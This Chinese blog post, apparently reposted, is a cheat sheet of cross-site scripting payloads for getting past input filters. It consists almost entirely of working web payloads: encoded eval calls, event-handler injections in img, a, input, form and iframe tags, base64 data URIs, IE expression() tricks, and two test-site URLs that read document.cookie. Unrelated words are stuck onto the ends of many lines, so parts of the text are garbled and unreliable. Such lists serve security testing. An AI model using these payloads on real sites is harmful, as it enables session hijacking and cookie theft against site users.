原文連接:http://www.cnblogs.com/xiaozi/p/5588099.html#undefinedjavascript
XSS漏洞驗證常常遇到一些過濾,如何進行有效驗證和繞過過濾呢,這裏小結一下常見的一些標籤,如<a><img>等。php
參考連接:http://www.jb51.net/tools/xss.htm http://d3adend.org/xss/ghettoBypasshtml
';alert(String.fromCharCode(88,83,83))//
\';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
\";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>java
<iframe src="http://www.baidu.com" height="250" width="300"></iframe>node
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>express
<script>alert(String.fromCharCode(88, 83, 83))</script>瀏覽器
<script>alert('xss')</script>cookie
<p><svg onload=prompt(/xss/)></p> //遇到過這種狀況app
%253Csvg%2520onload%253Dprompt(/xss/)%253E //<>=雙層urlencodexss
在使用加號作字符串鏈接的時候,中間的js會被執行:
http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document.cookie)%2b%27
http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document.cookie)%27)%2b%27
XSS利用1:
<img src=javascript:alert('xss')> //版本,E7.0|IE6.0,才能執行
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> //版本,E7.0|IE6.0,才能執行
<img src="URL" style='Xss:expression(alert(/xss/));'> //版本,E7.0|IE6.0,才能執行
CSS標記XSS
<img STYLE="background-image:url(javascript:alert('XSS'))"> //版本,E7.0|IE6.0,才能執行
CSS樣式表的標記進行XSS轉碼
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"> //版本,E7.0|IE6.0,才能執行
XSS利用2:
<img src="x" onerror="alert(1)"> //能夠不加"和;
原code:
<img src="x" onerror="alert(1)">
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> //必需要有雙引號,否則執行不了
原code:
<img src="1" onerror=eval("alert('xss')")></img> //能夠去掉雙引號
XSS利用3:
<img src=1 onerror=alert('xss')>
<img src=1 onmouseover=alert('xss') a1=1111>
標準格式:
<a href="http://www.baidu.com">百度</a>
XSS利用1:
<a href="javascript:alert('xss')">2</a> //能夠去掉雙引號
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> //不能去掉雙引號
<a href=javascript:eval("alert('xss')")>2</a> //能夠去掉雙引號
原code:
<a href=javascript:eval("alert('xss')")>2</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">22222222</a>
<a href="javascript:alert("xss")">2</a>
<a href=javascript:alert(/xss/)>XSStest</a>
原code:
<a href="javascript:alert('xss')">2</a>
xss利用2:
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //base64編碼,在谷歌瀏覽器能夠成功解析
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">test</a>
原code:
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
<script>alert('xss')</script>
XSS利用3:
<a href="" onclick="alert(1)">aaaaa</a> //能夠去掉雙引號和;
原code:
<a href="" onclick="alert(1)">aaaaa</a>
<a href="" onclick=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>aaaaa</a>
<a href="" onclick=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>aaaaa</a> //單引號和雙引號均可以
<a href="" onclick=eval(alert('xss'))>aaaaa</a> //能夠成功彈窗,若是在url地址欄輸入的時候,要進行urlenode編碼
原code:
eval("alert('xss')")
<a href="#" onclick=alert(‘\170\163\163’)>test3</a> //能夠成功執行
原code:
<a href="#" onclick=alert('xss')>test3</a>
XSS利用4:
<a href=kycg.asp?ttt=1000 onmouseover=prompt(123) y=2016>2</a> //能夠實現彈窗
通常格式:<INPUT name="name" value="">
<input value="" onclick="alert(11)" type="text">
<INPUT name="name" value="01/01/1967" onmouseover=prompt(971874) bad="">
<INPUT name="name" value=""><script>alert(123)</script>
小技巧:
一、使用expression突破
1
|
<input type=hidden style=`x:expression(alert(/xss/))`>
|
直接利用CSS的expression屬性來實現突破,此技巧適用於IE6及如下的瀏覽器。
2、使用accesskey突破
<input type="hidden" accesskey="X" onclick="alert(/xss/)">
插入以後,使用ALT+SHIFT+X快捷鍵來觸發XSS,此方法我在firefox下面測試經過,其它瀏覽器還沒有可知。
相似這種span標籤在網頁無觸發點,也能夠這樣子用。
<span id="span" recieveurl='xxxeId=1' accesskey='X' onclick='alert(/xss/)' bad=''></span>
<form method=Post action=kycg.asp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action後面直接空格
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action=javascript:alert('xss') >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action=1 onmouseover=alert(123) bbb=111 >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe src="data:text/html,<script>alert(1)</script>"></iframe> //谷歌瀏覽器下實現彈窗<iframe src=1 onmouseover=alert('xss') y=2016 /><iframe> <iframe src="javascript:prompt(`xss`);" frameborder="0" width="100%" height="1120px"></iframe> //遇到的有點特別<iframe src="vbscript:msgbox(123)"></iframe>